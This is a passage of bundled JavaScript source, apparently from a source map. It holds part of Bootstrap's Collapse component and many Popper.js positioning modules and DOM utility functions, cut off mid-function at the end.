typeof parent[0] !== 'undefined') {\n parent = parent[0]\n }\n } else {\n parent = SelectorEngine.findOne(parent)\n }\n\n const selector = `${SELECTOR_DATA_TOGGLE}[data-bs-parent=\"${parent}\"]`\n\n SelectorEngine.find(selector, parent)\n .forEach(element => {\n const selected = getElementFromSelector(element)\n\n this._addAriaAndCollapsedClass(\n selected,\n [element]\n )\n })\n\n return parent\n }\n\n _addAriaAndCollapsedClass(element, triggerArray) {\n if (!element || !triggerArray.length) {\n return\n }\n\n const isOpen = element.classList.contains(CLASS_NAME_SHOW)\n\n triggerArray.forEach(elem => {\n if (isOpen) {\n elem.classList.remove(CLASS_NAME_COLLAPSED)\n } else {\n elem.classList.add(CLASS_NAME_COLLAPSED)\n }\n\n elem.setAttribute('aria-expanded', isOpen)\n })\n }\n\n // Static\n\n static collapseInterface(element, config) {\n let data = Data.getData(element, DATA_KEY)\n const _config = {\n ...Default,\n ...Manipulator.getDataAttributes(element),\n ...(typeof config === 'object' && config ? config : {})\n }\n\n if (!data && _config.toggle && typeof config === 'string' && /show|hide/.test(config)) {\n _config.toggle = false\n }\n\n if (!data) {\n data = new Collapse(element, _config)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n\n data[config]()\n }\n }\n\n static jQueryInterface(config) {\n return this.each(function () {\n Collapse.collapseInterface(this, config)\n })\n }\n}\n\n/**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\nEventHandler.on(document, EVENT_CLICK_DATA_API, SELECTOR_DATA_TOGGLE, function (event) {\n // preventDefault only for elements (which change the URL) not inside the collapsible element\n if (event.target.tagName === 'A' || (event.delegateTarget && event.delegateTarget.tagName === 'A')) {\n event.preventDefault()\n }\n\n const triggerData = Manipulator.getDataAttributes(this)\n const selector = getSelectorFromElement(this)\n const selectorElements = SelectorEngine.find(selector)\n\n selectorElements.forEach(element => {\n const data = Data.getData(element, DATA_KEY)\n let config\n if (data) {\n // update parent attribute\n if (data._parent === null && typeof triggerData.parent === 'string') {\n data._config.parent = triggerData.parent\n data._parent = data._getParent()\n }\n\n config = 'toggle'\n } else {\n config = triggerData\n }\n\n Collapse.collapseInterface(element, config)\n })\n})\n\n/**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n * add .Collapse to jQuery only if jQuery is present\n */\n\ndefineJQueryPlugin(NAME, Collapse)\n\nexport default Collapse\n","export var top = 'top';\nexport var bottom = 'bottom';\nexport var right = 'right';\nexport var left = 'left';\nexport var auto = 'auto';\nexport var basePlacements = [top, bottom, right, left];\nexport var start = 'start';\nexport var end = 'end';\nexport var clippingParents = 'clippingParents';\nexport var viewport = 'viewport';\nexport var popper = 'popper';\nexport var reference = 'reference';\nexport var variationPlacements = /*#__PURE__*/basePlacements.reduce(function (acc, placement) {\n return acc.concat([placement + \"-\" + start, placement + \"-\" + end]);\n}, []);\nexport var placements = /*#__PURE__*/[].concat(basePlacements, [auto]).reduce(function (acc, placement) {\n return acc.concat([placement, placement + \"-\" + start, placement + \"-\" + end]);\n}, []); // modifiers that need to read the DOM\n\nexport var beforeRead = 'beforeRead';\nexport var read = 'read';\nexport var afterRead = 'afterRead'; // pure-logic modifiers\n\nexport var beforeMain = 'beforeMain';\nexport var main = 'main';\nexport var afterMain = 'afterMain'; // modifier with the purpose to write to the DOM (or write into a framework state)\n\nexport var beforeWrite = 'beforeWrite';\nexport var write = 'write';\nexport var afterWrite = 'afterWrite';\nexport var modifierPhases = [beforeRead, read, afterRead, beforeMain, main, afterMain, beforeWrite, write, afterWrite];","export default function getNodeName(element) {\n return element ? (element.nodeName || '').toLowerCase() : null;\n}","/*:: import type { Window } from '../types'; */\n\n/*:: declare function getWindow(node: Node | Window): Window; */\nexport default function getWindow(node) {\n if (node.toString() !== '[object Window]') {\n var ownerDocument = node.ownerDocument;\n return ownerDocument ? ownerDocument.defaultView || window : window;\n }\n\n return node;\n}","import getWindow from \"./getWindow.js\";\n/*:: declare function isElement(node: mixed): boolean %checks(node instanceof\n Element); */\n\nfunction isElement(node) {\n var OwnElement = getWindow(node).Element;\n return node instanceof OwnElement || node instanceof Element;\n}\n/*:: declare function isHTMLElement(node: mixed): boolean %checks(node instanceof\n HTMLElement); */\n\n\nfunction isHTMLElement(node) {\n var OwnElement = getWindow(node).HTMLElement;\n return node instanceof OwnElement || node instanceof HTMLElement;\n}\n/*:: declare function isShadowRoot(node: mixed): boolean %checks(node instanceof\n ShadowRoot); */\n\n\nfunction isShadowRoot(node) {\n var OwnElement = getWindow(node).ShadowRoot;\n return node instanceof OwnElement || node instanceof ShadowRoot;\n}\n\nexport { isElement, isHTMLElement, isShadowRoot };","import getNodeName from \"../dom-utils/getNodeName.js\";\nimport { isHTMLElement } from \"../dom-utils/instanceOf.js\"; // This modifier takes the styles prepared by the `computeStyles` modifier\n// and applies them to the HTMLElements such as popper and arrow\n\nfunction applyStyles(_ref) {\n var state = _ref.state;\n Object.keys(state.elements).forEach(function (name) {\n var style = state.styles[name] || {};\n var attributes = state.attributes[name] || {};\n var element = state.elements[name]; // arrow is optional + virtual elements\n\n if (!isHTMLElement(element) || !getNodeName(element)) {\n return;\n } // Flow doesn't support to extend this property, but it's the most\n // effective way to apply styles to an HTMLElement\n // $FlowFixMe[cannot-write]\n\n\n Object.assign(element.style, style);\n Object.keys(attributes).forEach(function (name) {\n var value = attributes[name];\n\n if (value === false) {\n element.removeAttribute(name);\n } else {\n element.setAttribute(name, value === true ? '' : value);\n }\n });\n });\n}\n\nfunction effect(_ref2) {\n var state = _ref2.state;\n var initialStyles = {\n popper: {\n position: state.options.strategy,\n left: '0',\n top: '0',\n margin: '0'\n },\n arrow: {\n position: 'absolute'\n },\n reference: {}\n };\n Object.assign(state.elements.popper.style, initialStyles.popper);\n\n if (state.elements.arrow) {\n Object.assign(state.elements.arrow.style, initialStyles.arrow);\n }\n\n return function () {\n Object.keys(state.elements).forEach(function (name) {\n var element = state.elements[name];\n var attributes = state.attributes[name] || {};\n var styleProperties = Object.keys(state.styles.hasOwnProperty(name) ? state.styles[name] : initialStyles[name]); // Set all values to an empty string to unset them\n\n var style = styleProperties.reduce(function (style, property) {\n style[property] = '';\n return style;\n }, {}); // arrow is optional + virtual elements\n\n if (!isHTMLElement(element) || !getNodeName(element)) {\n return;\n }\n\n Object.assign(element.style, style);\n Object.keys(attributes).forEach(function (attribute) {\n element.removeAttribute(attribute);\n });\n });\n };\n} // eslint-disable-next-line import/no-unused-modules\n\n\nexport default {\n name: 'applyStyles',\n enabled: true,\n phase: 'write',\n fn: applyStyles,\n effect: effect,\n requires: ['computeStyles']\n};","import { auto } from \"../enums.js\";\nexport default function getBasePlacement(placement) {\n return placement.split('-')[0];\n}","// Returns the layout rect of an element relative to its offsetParent. Layout\n// means it doesn't take into account transforms.\nexport default function getLayoutRect(element) {\n return {\n x: element.offsetLeft,\n y: element.offsetTop,\n width: element.offsetWidth,\n height: element.offsetHeight\n };\n}","import { isShadowRoot } from \"./instanceOf.js\";\nexport default function contains(parent, child) {\n var rootNode = child.getRootNode && child.getRootNode(); // First, attempt with faster native method\n\n if (parent.contains(child)) {\n return true;\n } // then fallback to custom implementation with Shadow DOM support\n else if (rootNode && isShadowRoot(rootNode)) {\n var next = child;\n\n do {\n if (next && parent.isSameNode(next)) {\n return true;\n } // $FlowFixMe[prop-missing]: need a better way to handle this...\n\n\n next = next.parentNode || next.host;\n } while (next);\n } // Give up, the result is false\n\n\n return false;\n}","import getWindow from \"./getWindow.js\";\nexport default function getComputedStyle(element) {\n return getWindow(element).getComputedStyle(element);\n}","import getNodeName from \"./getNodeName.js\";\nexport default function isTableElement(element) {\n return ['table', 'td', 'th'].indexOf(getNodeName(element)) >= 0;\n}","import { isElement } from \"./instanceOf.js\";\nexport default function getDocumentElement(element) {\n // $FlowFixMe[incompatible-return]: assume body is always available\n return ((isElement(element) ? element.ownerDocument : // $FlowFixMe[prop-missing]\n element.document) || window.document).documentElement;\n}","import getNodeName from \"./getNodeName.js\";\nimport getDocumentElement from \"./getDocumentElement.js\";\nexport default function getParentNode(element) {\n if (getNodeName(element) === 'html') {\n return element;\n }\n\n return (// this is a quicker (but less type safe) way to save quite some bytes from the bundle\n // $FlowFixMe[incompatible-return]\n // $FlowFixMe[prop-missing]\n element.assignedSlot || // step into the shadow DOM of the parent of a slotted node\n element.parentNode || // DOM Element detected\n // $FlowFixMe[incompatible-return]: need a better way to handle this...\n element.host || // ShadowRoot detected\n // $FlowFixMe[incompatible-call]: HTMLElement is a Node\n getDocumentElement(element) // fallback\n\n );\n}","import getWindow from \"./getWindow.js\";\nimport getNodeName from \"./getNodeName.js\";\nimport getComputedStyle from \"./getComputedStyle.js\";\nimport { isHTMLElement } from \"./instanceOf.js\";\nimport isTableElement from \"./isTableElement.js\";\nimport getParentNode from \"./getParentNode.js\";\nimport getDocumentElement from \"./getDocumentElement.js\";\n\nfunction getTrueOffsetParent(element) {\n if (!isHTMLElement(element) || // https://github.com/popperjs/popper-core/issues/837\n getComputedStyle(element).position === 'fixed') {\n return null;\n }\n\n var offsetParent = element.offsetParent;\n\n if (offsetParent) {\n var html = getDocumentElement(offsetParent);\n\n if (getNodeName(offsetParent) === 'body' && getComputedStyle(offsetParent).position === 'static' && getComputedStyle(html).position !== 'static') {\n return html;\n }\n }\n\n return offsetParent;\n} // `.offsetParent` reports `null` for fixed elements, while absolute elements\n// return the containing block\n\n\nfunction getContainingBlock(element) {\n var currentNode = getParentNode(element);\n\n while (isHTMLElement(currentNode) && ['html', 'body'].indexOf(getNodeName(currentNode)) < 0) {\n var css = getComputedStyle(currentNode); // This is non-exhaustive but covers the most common CSS properties that\n // create a containing block.\n\n if (css.transform !== 'none' || css.perspective !== 'none' || css.willChange && css.willChange !== 'auto') {\n return currentNode;\n } else {\n currentNode = currentNode.parentNode;\n }\n }\n\n return null;\n} // Gets the closest ancestor positioned element. Handles some edge cases,\n// such as table ancestors and cross browser bugs.\n\n\nexport default function getOffsetParent(element) {\n var window = getWindow(element);\n var offsetParent = getTrueOffsetParent(element);\n\n while (offsetParent && isTableElement(offsetParent) && getComputedStyle(offsetParent).position === 'static') {\n offsetParent = getTrueOffsetParent(offsetParent);\n }\n\n if (offsetParent && getNodeName(offsetParent) === 'body' && getComputedStyle(offsetParent).position === 'static') {\n return window;\n }\n\n return offsetParent || getContainingBlock(element) || window;\n}","export default function getMainAxisFromPlacement(placement) {\n return ['top', 'bottom'].indexOf(placement) >= 0 ? 'x' : 'y';\n}","export default function within(min, value, max) {\n return Math.max(min, Math.min(value, max));\n}","import getFreshSideObject from \"./getFreshSideObject.js\";\nexport default function mergePaddingObject(paddingObject) {\n return Object.assign(Object.assign({}, getFreshSideObject()), paddingObject);\n}","export default function getFreshSideObject() {\n return {\n top: 0,\n right: 0,\n bottom: 0,\n left: 0\n };\n}","export default function expandToHashMap(value, keys) {\n return keys.reduce(function (hashMap, key) {\n hashMap[key] = value;\n return hashMap;\n }, {});\n}","import getBasePlacement from \"../utils/getBasePlacement.js\";\nimport getLayoutRect from \"../dom-utils/getLayoutRect.js\";\nimport contains from \"../dom-utils/contains.js\";\nimport getOffsetParent from \"../dom-utils/getOffsetParent.js\";\nimport getMainAxisFromPlacement from \"../utils/getMainAxisFromPlacement.js\";\nimport within from \"../utils/within.js\";\nimport mergePaddingObject from \"../utils/mergePaddingObject.js\";\nimport expandToHashMap from \"../utils/expandToHashMap.js\";\nimport { left, right, basePlacements, top, bottom } from \"../enums.js\";\nimport { isHTMLElement } from \"../dom-utils/instanceOf.js\"; // eslint-disable-next-line import/no-unused-modules\n\nfunction arrow(_ref) {\n var _state$modifiersData$;\n\n var state = _ref.state,\n name = _ref.name;\n var arrowElement = state.elements.arrow;\n var popperOffsets = state.modifiersData.popperOffsets;\n var basePlacement = getBasePlacement(state.placement);\n var axis = getMainAxisFromPlacement(basePlacement);\n var isVertical = [left, right].indexOf(basePlacement) >= 0;\n var len = isVertical ? 'height' : 'width';\n\n if (!arrowElement || !popperOffsets) {\n return;\n }\n\n var paddingObject = state.modifiersData[name + \"#persistent\"].padding;\n var arrowRect = getLayoutRect(arrowElement);\n var minProp = axis === 'y' ? top : left;\n var maxProp = axis === 'y' ? bottom : right;\n var endDiff = state.rects.reference[len] + state.rects.reference[axis] - popperOffsets[axis] - state.rects.popper[len];\n var startDiff = popperOffsets[axis] - state.rects.reference[axis];\n var arrowOffsetParent = getOffsetParent(arrowElement);\n var clientSize = arrowOffsetParent ? axis === 'y' ? arrowOffsetParent.clientHeight || 0 : arrowOffsetParent.clientWidth || 0 : 0;\n var centerToReference = endDiff / 2 - startDiff / 2; // Make sure the arrow doesn't overflow the popper if the center point is\n // outside of the popper bounds\n\n var min = paddingObject[minProp];\n var max = clientSize - arrowRect[len] - paddingObject[maxProp];\n var center = clientSize / 2 - arrowRect[len] / 2 + centerToReference;\n var offset = within(min, center, max); // Prevents breaking syntax highlighting...\n\n var axisProp = axis;\n state.modifiersData[name] = (_state$modifiersData$ = {}, _state$modifiersData$[axisProp] = offset, _state$modifiersData$.centerOffset = offset - center, _state$modifiersData$);\n}\n\nfunction effect(_ref2) {\n var state = _ref2.state,\n options = _ref2.options,\n name = _ref2.name;\n var _options$element = options.element,\n arrowElement = _options$element === void 0 ? '[data-popper-arrow]' : _options$element,\n _options$padding = options.padding,\n padding = _options$padding === void 0 ? 0 : _options$padding;\n\n if (arrowElement == null) {\n return;\n } // CSS selector\n\n\n if (typeof arrowElement === 'string') {\n arrowElement = state.elements.popper.querySelector(arrowElement);\n\n if (!arrowElement) {\n return;\n }\n }\n\n if (process.env.NODE_ENV !== \"production\") {\n if (!isHTMLElement(arrowElement)) {\n console.error(['Popper: \"arrow\" element must be an HTMLElement (not an SVGElement).', 'To use an SVG arrow, wrap it in an HTMLElement that will be used as', 'the arrow.'].join(' '));\n }\n }\n\n if (!contains(state.elements.popper, arrowElement)) {\n if (process.env.NODE_ENV !== \"production\") {\n console.error(['Popper: \"arrow\" modifier\\'s `element` must be a child of the popper', 'element.'].join(' '));\n }\n\n return;\n }\n\n state.elements.arrow = arrowElement;\n state.modifiersData[name + \"#persistent\"] = {\n padding: mergePaddingObject(typeof padding !== 'number' ? padding : expandToHashMap(padding, basePlacements))\n };\n} // eslint-disable-next-line import/no-unused-modules\n\n\nexport default {\n name: 'arrow',\n enabled: true,\n phase: 'main',\n fn: arrow,\n effect: effect,\n requires: ['popperOffsets'],\n requiresIfExists: ['preventOverflow']\n};","import { top, left, right, bottom } from \"../enums.js\";\nimport getOffsetParent from \"../dom-utils/getOffsetParent.js\";\nimport getWindow from \"../dom-utils/getWindow.js\";\nimport getDocumentElement from \"../dom-utils/getDocumentElement.js\";\nimport getComputedStyle from \"../dom-utils/getComputedStyle.js\";\nimport getBasePlacement from \"../utils/getBasePlacement.js\"; // eslint-disable-next-line import/no-unused-modules\n\nvar unsetSides = {\n top: 'auto',\n right: 'auto',\n bottom: 'auto',\n left: 'auto'\n}; // Round the offsets to the nearest suitable subpixel based on the DPR.\n// Zooming can change the DPR, but it seems to report a value that will\n// cleanly divide the values into the appropriate subpixels.\n\nfunction roundOffsetsByDPR(_ref) {\n var x = _ref.x,\n y = _ref.y;\n var win = window;\n var dpr = win.devicePixelRatio || 1;\n return {\n x: Math.round(x * dpr) / dpr || 0,\n y: Math.round(y * dpr) / dpr || 0\n };\n}\n\nexport function mapToStyles(_ref2) {\n var _Object$assign2;\n\n var popper = _ref2.popper,\n popperRect = _ref2.popperRect,\n placement = _ref2.placement,\n offsets = _ref2.offsets,\n position = _ref2.position,\n gpuAcceleration = _ref2.gpuAcceleration,\n adaptive = _ref2.adaptive,\n roundOffsets = _ref2.roundOffsets;\n\n var _ref3 = roundOffsets ? roundOffsetsByDPR(offsets) : offsets,\n _ref3$x = _ref3.x,\n x = _ref3$x === void 0 ? 0 : _ref3$x,\n _ref3$y = _ref3.y,\n y = _ref3$y === void 0 ? 0 : _ref3$y;\n\n var hasX = offsets.hasOwnProperty('x');\n var hasY = offsets.hasOwnProperty('y');\n var sideX = left;\n var sideY = top;\n var win = window;\n\n if (adaptive) {\n var offsetParent = getOffsetParent(popper);\n\n if (offsetParent === getWindow(popper)) {\n offsetParent = getDocumentElement(popper);\n } // $FlowFixMe[incompatible-cast]: force type refinement, we compare offsetParent with window above, but Flow doesn't detect it\n\n /*:: offsetParent = (offsetParent: Element); */\n\n\n if (placement === top) {\n sideY = bottom;\n y -= offsetParent.clientHeight - popperRect.height;\n y *= gpuAcceleration ? 1 : -1;\n }\n\n if (placement === left) {\n sideX = right;\n x -= offsetParent.clientWidth - popperRect.width;\n x *= gpuAcceleration ? 1 : -1;\n }\n }\n\n var commonStyles = Object.assign({\n position: position\n }, adaptive && unsetSides);\n\n if (gpuAcceleration) {\n var _Object$assign;\n\n return Object.assign(Object.assign({}, commonStyles), {}, (_Object$assign = {}, _Object$assign[sideY] = hasY ? '0' : '', _Object$assign[sideX] = hasX ? '0' : '', _Object$assign.transform = (win.devicePixelRatio || 1) < 2 ? \"translate(\" + x + \"px, \" + y + \"px)\" : \"translate3d(\" + x + \"px, \" + y + \"px, 0)\", _Object$assign));\n }\n\n return Object.assign(Object.assign({}, commonStyles), {}, (_Object$assign2 = {}, _Object$assign2[sideY] = hasY ? y + \"px\" : '', _Object$assign2[sideX] = hasX ? x + \"px\" : '', _Object$assign2.transform = '', _Object$assign2));\n}\n\nfunction computeStyles(_ref4) {\n var state = _ref4.state,\n options = _ref4.options;\n var _options$gpuAccelerat = options.gpuAcceleration,\n gpuAcceleration = _options$gpuAccelerat === void 0 ? true : _options$gpuAccelerat,\n _options$adaptive = options.adaptive,\n adaptive = _options$adaptive === void 0 ? true : _options$adaptive,\n _options$roundOffsets = options.roundOffsets,\n roundOffsets = _options$roundOffsets === void 0 ? true : _options$roundOffsets;\n\n if (process.env.NODE_ENV !== \"production\") {\n var transitionProperty = getComputedStyle(state.elements.popper).transitionProperty || '';\n\n if (adaptive && ['transform', 'top', 'right', 'bottom', 'left'].some(function (property) {\n return transitionProperty.indexOf(property) >= 0;\n })) {\n console.warn(['Popper: Detected CSS transitions on at least one of the following', 'CSS properties: \"transform\", \"top\", \"right\", \"bottom\", \"left\".', '\\n\\n', 'Disable the \"computeStyles\" modifier\\'s `adaptive` option to allow', 'for smooth transitions, or remove these properties from the CSS', 'transition declaration on the popper element if only transitioning', 'opacity or background-color for example.', '\\n\\n', 'We recommend using the popper element as a wrapper around an inner', 'element that can have any CSS property transitioned for animations.'].join(' '));\n }\n }\n\n var commonStyles = {\n placement: getBasePlacement(state.placement),\n popper: state.elements.popper,\n popperRect: state.rects.popper,\n gpuAcceleration: gpuAcceleration\n };\n\n if (state.modifiersData.popperOffsets != null) {\n state.styles.popper = Object.assign(Object.assign({}, state.styles.popper), mapToStyles(Object.assign(Object.assign({}, commonStyles), {}, {\n offsets: state.modifiersData.popperOffsets,\n position: state.options.strategy,\n adaptive: adaptive,\n roundOffsets: roundOffsets\n })));\n }\n\n if (state.modifiersData.arrow != null) {\n state.styles.arrow = Object.assign(Object.assign({}, state.styles.arrow), mapToStyles(Object.assign(Object.assign({}, commonStyles), {}, {\n offsets: state.modifiersData.arrow,\n position: 'absolute',\n adaptive: false,\n roundOffsets: roundOffsets\n })));\n }\n\n state.attributes.popper = Object.assign(Object.assign({}, state.attributes.popper), {}, {\n 'data-popper-placement': state.placement\n });\n} // eslint-disable-next-line import/no-unused-modules\n\n\nexport default {\n name: 'computeStyles',\n enabled: true,\n phase: 'beforeWrite',\n fn: computeStyles,\n data: {}\n};","import getWindow from \"../dom-utils/getWindow.js\"; // eslint-disable-next-line import/no-unused-modules\n\nvar passive = {\n passive: true\n};\n\nfunction effect(_ref) {\n var state = _ref.state,\n instance = _ref.instance,\n options = _ref.options;\n var _options$scroll = options.scroll,\n scroll = _options$scroll === void 0 ? true : _options$scroll,\n _options$resize = options.resize,\n resize = _options$resize === void 0 ? true : _options$resize;\n var window = getWindow(state.elements.popper);\n var scrollParents = [].concat(state.scrollParents.reference, state.scrollParents.popper);\n\n if (scroll) {\n scrollParents.forEach(function (scrollParent) {\n scrollParent.addEventListener('scroll', instance.update, passive);\n });\n }\n\n if (resize) {\n window.addEventListener('resize', instance.update, passive);\n }\n\n return function () {\n if (scroll) {\n scrollParents.forEach(function (scrollParent) {\n scrollParent.removeEventListener('scroll', instance.update, passive);\n });\n }\n\n if (resize) {\n window.removeEventListener('resize', instance.update, passive);\n }\n };\n} // eslint-disable-next-line import/no-unused-modules\n\n\nexport default {\n name: 'eventListeners',\n enabled: true,\n phase: 'write',\n fn: function fn() {},\n effect: effect,\n data: {}\n};","var hash = {\n left: 'right',\n right: 'left',\n bottom: 'top',\n top: 'bottom'\n};\nexport default function getOppositePlacement(placement) {\n return placement.replace(/left|right|bottom|top/g, function (matched) {\n return hash[matched];\n });\n}","var hash = {\n start: 'end',\n end: 'start'\n};\nexport default function getOppositeVariationPlacement(placement) {\n return placement.replace(/start|end/g, function (matched) {\n return hash[matched];\n });\n}","export default function getBoundingClientRect(element) {\n var rect = element.getBoundingClientRect();\n return {\n width: rect.width,\n height: rect.height,\n top: rect.top,\n right: rect.right,\n bottom: rect.bottom,\n left: rect.left,\n x: rect.left,\n y: rect.top\n };\n}","import getWindow from \"./getWindow.js\";\nexport default function getWindowScroll(node) {\n var win = getWindow(node);\n var scrollLeft = win.pageXOffset;\n var scrollTop = win.pageYOffset;\n return {\n scrollLeft: scrollLeft,\n scrollTop: scrollTop\n };\n}","import getBoundingClientRect from \"./getBoundingClientRect.js\";\nimport getDocumentElement from \"./getDocumentElement.js\";\nimport getWindowScroll from \"./getWindowScroll.js\";\nexport default function getWindowScrollBarX(element) {\n // If has a CSS width greater than the viewport, then this will be\n // incorrect for RTL.\n // Popper 1 is broken in this case and never had a bug report so let's assume\n // it's not an issue. I don't think anyone ever specifies width on \n // anyway.\n // Browsers where the left scrollbar doesn't cause an issue report `0` for\n // this (e.g. Edge 2019, IE11, Safari)\n return getBoundingClientRect(getDocumentElement(element)).left + getWindowScroll(element).scrollLeft;\n}","import getComputedStyle from \"./getComputedStyle.js\";\nexport default function isScrollParent(element) {\n // Firefox wants us to check `-x` and `-y` variations as well\n var _getComputedStyle = getComputedStyle(element),\n overflow = _getComputedStyle.overflow,\n overflowX = _getComputedStyle.overflowX,\n overflowY = _getComputedStyle.overflowY;\n\n return /auto|scroll|overlay|hidden/.test(overflow + overflowY + overflowX);\n}","import getScrollParent from \"./getScrollParent.js\";\nimport getParentNode from \"./getParentNode.js\";\nimport getNodeName from \"./getNodeName.js\";\nimport getWindow from \"./getWindow.js\";\nimport isScrollParent from \"./isScrollParent.js\";\n/*\ngiven a DOM element, return the list of all scroll parents, up the list of ancesors\nuntil we get to the top window object. This list is what we attach scroll listeners\nto, because if any of these parent elements scroll, we'll need to re-calculate the\nreference element's position.\n*/\n\nexport default function listScrollParents(element, list) {\n if (list === void 0) {\n list = [];\n }\n\n var scrollParent = getScrollParent(element);\n var isBody = getNodeName(scrollParent) === 'body';\n var win = getWindow(scrollParent);\n var target = isBody ? [win].concat(win.visualViewport || [], isScrollParent(scrollParent) ? scrollParent : []) : scrollParent;\n var updatedList = list.concat(target);\n return isBody ? updatedList : // $FlowFixMe[incompatible-call]: isBody tells us target will be an HTMLElement here\n updatedList.concat(listScrollParents(getParentNode(target)));\n}","import getParentNode from \"./getParentNode.js\";\nimport isScrollParent from \"./isScrollParent.js\";\nimport getNodeName from \"./getNodeName.js\";\nimport { isHTMLElement } from \"./instanceOf.js\";\nexport default function getScrollParent(node) {\n if (['html', 'body', '#document'].indexOf(getNodeName(node)) >= 0) {\n // $FlowFixMe[incompatible-return]: assume body is always available\n return node.ownerDocument.body;\n }\n\n if (isHTMLElement(node) && isScrollParent(node)) {\n return node;\n }\n\n return getScrollParent(getParentNode(node));\n}","export default function rectToClientRect(rect) {\n return Object.assign(Object.assign({}, rect), {}, {\n left: rect.x,\n top: rect.y,\n right: rect.x + rect.width,\n bottom: rect.y + rect.height\n });\n}","import { viewport } from \"../enums.js\";\nimport getViewportRect from \"./getViewportRect.js\";\nimport getDocumentRect from \"./getDocumentRect.js\";\nimport listScrollParents from \"./listScrollParents.js\";\nimport getOffsetParent from \"./getOffsetParent.js\";\nimport getDocumentElement from \"./getDocumentElement.js\";\nimport getComputedStyle from \"./getComputedStyle.js\";\nimport { isElement, isHTMLElement } from \"./instanceOf.js\";\nimport getBoundingClientRect from \"./getBoundingClientRect.js\";\nimport getParentNode from \"./getParentNode.js\";\nimport contains from \"./contains.js\";\nimport getNodeName from \"./getNodeName.js\";\nimport rectToClientRect from \"../utils/rectToClientRect.js\";\n\nfunction getInnerBoundingClientRect(element) {\n var rect = getBoundingClientRect(element);\n rect.top = rect.top + element.clientTop;\n rect.left = rect.left + element.clientLeft;\n rect.bottom = rect.top + element.clientHeight;\n rect.right = rect.left + element.clientWidth;\n rect.width = element.clientWidth;\n rect.height = element.clientHeight;\n rect.x = rect.left;\n rect.y = rect.top;\n return rect;\n}\n\nfunction getClientRectFromMixedType(element, clippingParent) {\n return clippingParent === viewport ? rectToClientRect(getViewportRect(element)) : isHTMLElement(clippingParent) ? getInnerBoundingClientRect(clippingParent) : rectToClientRect(getDocumentRect(getDocumentElement(element)));\n} // A \"clipping parent\" is an overflowable container with the characteristic of\n// clipping (or hiding) overflowing elements with a position different from\n// `initial`\n\n\nfunction getClippingParents(element) {\n var clippingParents = listScrollParents(getParentNode(element));\n var canEscapeClipping = ['absolute', 'fixed'].indexOf(getComputedStyle(element).position) >= 0;\n var clipperElement = canEscapeClipping && isHTMLElement(element) ? getOffsetParent(element) : element;\n\n if (!isElement(clipperElement)) {\n return [];\n } // $FlowFixMe[incompatible-return]: https://github.com/facebook/flow/issues/1414\n\n\n return clippingParents.filter(function (clippingParent) {\n return isElement(clippingParent) && contains(clippingParent, clipperElement) && getNodeName(clippingParent) !== 'body';\n });\n} // Gets the maximum area that the element is visible in due to any number of\n// clipping parents\n\n\nexport default function getClippingRect(element, boundary, rootBoundary) {\n var mainClippingParents = boundary === 'clippingParents' ? getClippingParents(element) : [].concat(boundary);\n var clippingParents = [].concat(mainClippingParents, [rootBoundary]);\n var firstClippingParent = clippingParents[0];\n var clippingRect = clippingParents.reduce(function (accRect, clippingParent) {\n var rect = getClientRectFromMixedType(element, clippingParent);\n accRect.top = Math.max(rect.top, accRect.top);\n accRect.right = Math.min(rect.right, accRect.right);\n accRect.bottom = Math.min(rect.bottom, accRect.bottom);\n accRect.left = Math.max(rect.left, accRect.left);\n return accRect;\n }, getClientRectFromMixedType(element, firstClippingParent));\n clippingRect.width = clippingRect.right - clippingRect.left;\n clippingRect.height = clippingRect.bottom - clippingRect.top;\n clippingRect.x = clippingRect.left;\n clippingRect.y = clippingRect.top;\n return clippingRect;\n}","import getWindow from \"./getWindow.js\";\nimport getDocumentElement from \"./getDocumentElement.js\";\nimport getWindowScrollBarX from \"./getWindowScrollBarX.js\";\nexport default function getViewportRect(element) {\n var win = getWindow(element);\n var html = getDocumentElement(element);\n var visualViewport = win.visualViewport;\n var width = html.clientWidth;\n var height = html.clientHeight;\n var x = 0;\n var y = 0; // NB: This isn't supported on iOS <= 12. If the keyboard is open, the popper\n // can be obscured underneath it.\n // Also, `html.clientHeight` adds the bottom bar height in Safari iOS, even\n // if it isn't open, so if this isn't available, the popper will be detected\n // to overflow the bottom of the screen too early.\n\n if (visualViewport) {\n width = visualViewport.width;\n height = visualViewport.height; // Uses Layout Viewport (like Chrome; Safari does not currently)\n // In Chrome, it returns a value very close to 0 (+/-) but contains rounding\n // errors due to floating point numbers, so we need to check precision.\n // Safari returns a number <= 0, usually < -1 when pinch-zoomed\n // Feature detection fails in mobile emulation mode in Chrome.\n // Math.abs(win.innerWidth / visualViewport.scale - visualViewport.width) <\n // 0.001\n // Fallback here: \"Not Safari\" userAgent\n\n if (!/^((?!chrome|android).)*safari/i.test(navigator.userAgent)) {\n x = visualViewport.offsetLeft;\n y = visualViewport.offsetTop;\n }\n }\n\n return {\n width: width,\n height: height,\n x: x + getWindowScrollBarX(element),\n y: y\n };\n}","import getDocumentElement from \"./getDocumentElement.js\";\nimport getComputedStyle from \"./getComputedStyle.js\";\nimport getWindowScrollBarX from \"./getWindowScrollBarX.js\";\nimport getWindowScroll from \"./getWindowScroll.js\"; // Gets the entire size of the scrollable document area, even extending outside\n// of the `` and `` rect bounds if horizontally scrollable\n\nexport default function getDocumentRect(element) {\n var html = getDocumentElement(element);\n var winScroll = getWindowScroll(element);\n var body = element.ownerDocument.body;\n var width = Math.max(html.scrollWidth, html.clientWidth, body ? body.scrollWidth : 0, body ? body.clientWidth : 0);\n var height = Math.max(html.scrollHeight, html.clientHeight, body ? body.scrollHeight : 0, body ? body.clientHeight : 0);\n var x = -winScroll.scrollLeft + getWindowScrollBarX(element);\n var y = -winScroll.scrollTop;\n\n if (getComputedStyle(body || html).direction === 'rtl') {\n x += Math.max(html.clientWidth, body ? body.clientWidth : 0) - width;\n }\n\n return {\n width: width,\n height: height,\n x: x,\n y: y\n };\n}","export default function getVariation(placement) {\n return placement.split('-')[1];\n}","import getBasePlacement from \"./getBasePlacement.js\";\nimport getVariation from \"./getVariation.js\";\nimport getMainAxisFromPlacement from \"./getMainAxisFromPlacement.js\";\nimport { top, right, bottom, left, start, end } from \"../enums.js\";\nexport default function computeOffsets(_ref) {\n var reference = _ref.reference,\n element = _ref.element,\n placement = _ref.placement;\n var basePlacement = placement ? getBasePlacement(placement) : null;\n var variation = placement ? getVariation(placement) : null;\n var commonX = reference.x + reference.width / 2 - element.width / 2;\n var commonY = 